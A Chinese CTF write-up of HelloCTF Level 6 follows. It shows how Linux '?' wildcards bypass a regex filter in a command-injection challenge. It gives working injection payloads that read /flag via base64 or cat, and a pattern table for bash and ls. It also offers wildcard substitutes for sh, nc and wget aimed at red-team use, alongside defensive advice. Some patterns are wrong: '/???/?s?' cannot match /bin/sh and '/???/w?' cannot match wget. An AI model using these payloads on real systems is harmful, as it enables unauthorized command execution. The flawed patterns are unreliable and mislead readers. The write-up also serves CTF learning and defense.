从HelloCTF靶场Level 6出发:一次搞懂Linux通配符在命令注入中的‘隐藏’用法
从HelloCTF靶场Level 6出发:一次搞懂Linux通配符在命令注入中的‘隐藏’用法
在CTF竞赛中,命令注入漏洞的利用往往需要绕过各种字符过滤机制。HelloCTF Level 6这道题目巧妙地展示了如何利用Linux通配符的特性来绕过严格的字符过滤,实现远程代码执行。本文将深入剖析这道题目的解题思路,并扩展讲解Linux通配符在安全领域的多种应用场景。
1. 题目分析与过滤规则解读
首先让我们仔细分析题目提供的过滤规则:
/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/这个正则表达式过滤了以下字符:
- 所有小写字母(b-z)
- 所有大写字母(A-Z)
- 下划线(_)
- 特殊符号:@#%^&*:{}-+<>"|`;[]
这意味着我们无法直接使用常见的命令如cat、ls、base64等,因为这些命令名称中包含被过滤的字母。但有趣的是,正则表达式没有过滤/、?、!等字符,这为利用通配符绕过提供了可能。
提示:在Linux系统中,
?通配符代表任意单个字符,*代表任意长度的字符(包括零长度)
2. Linux通配符的底层原理
Linux通配符(Wildcards)是shell提供的文件名扩展功能,其匹配规则遵循以下原则:
?匹配单个字符:例如/???/???可以匹配/bin/cat、/usr/bin等路径*匹配任意长度字符:例如/var/log/*可以匹配该目录下所有文件- 字符类匹配:
[a-z]匹配a到z之间的任意字符(本题中已被过滤)
在本题环境中,我们可以利用?通配符来定位关键命令和文件:
# 查找可能的base64命令路径 echo /???/?a??64 # 输出示例:/bin/base64 # 查找可能的cat命令路径 echo /???/?a? # 输出示例:/bin/cat /bin/tar # 查找flag文件 echo /??a? # 输出示例:/flag3. 构造有效payload的实战技巧
基于上述通配符特性,我们可以构建多种有效payload:
3.1 使用base64读取flag
/?cmd=/???/?a??64 /??a?这个payload会被解析为:
/???/?a??64→/bin/base64/??a?→/flag- 最终执行:
/bin/base64 /flag
3.2 使用cat直接读取flag
?cmd=/???/?a? /??a?这个payload会被解析为:
/???/?a?→/bin/cat(也可能匹配到/bin/tar)/??a?→/flag- 最终执行:
/bin/cat /flag或/bin/tar /flag
3.3 其他可能的命令组合
| 通配符模式 | 可能匹配的命令 | 用途 |
|---|---|---|
/???/?a??64 | /bin/base64 | 编码输出 |
/???/?a? | /bin/cat | 直接读取 |
/???/??? | /bin/ls | 目录列表 |
/???/???? | /bin/bash | 获取shell |
4. 防御思路与安全建议
针对这种通配符绕过方式,开发者可以采取以下防御措施:
严格限制可用字符集:
// 只允许数字和特定符号 if (!preg_match('/^[0-9\/\?\.]+$/', $input)) { die("Invalid input"); }禁用通配符扩展:
# 在shell脚本中使用set -f禁用通配符 set -f使用白名单验证命令:
ALLOWED_COMMANDS = ['/usr/bin/base64', '/bin/cat'] if command not in ALLOWED_COMMANDS: raise ValueError("Command not allowed")实施最小权限原则:
# 使用低权限用户运行命令 sudo -u nobody /path/to/command
5. 扩展思考:通配符的其他安全应用
Linux通配符在安全领域还有更多巧妙应用:
模糊文件查找:
# 查找可能的后门文件 find / -name "*.php" -o -name "*.py" | grep -E "(shell|backdoor|rev)"权限提升探测:
# 查找具有SUID权限的可执行文件 find / -perm -4000 -type f -exec ls -ld {} \; 2>/dev/null敏感文件发现:
# 查找可能的配置文件 ls -la /etc/*conf* /etc/*cfg*
在实际渗透测试中,熟练掌握通配符技巧可以大大提高效率。例如,当遇到字符限制时,可以考虑以下替代方案:
- 使用
/???/?s?代替/bin/sh - 使用
/???/n?代替/bin/nc - 使用
/???/w?代替/bin/wget
这些技巧不仅适用于CTF比赛,在真实的红队评估中同样具有实用价值。理解底层原理后,安全人员可以更灵活地应对各种限制环境。
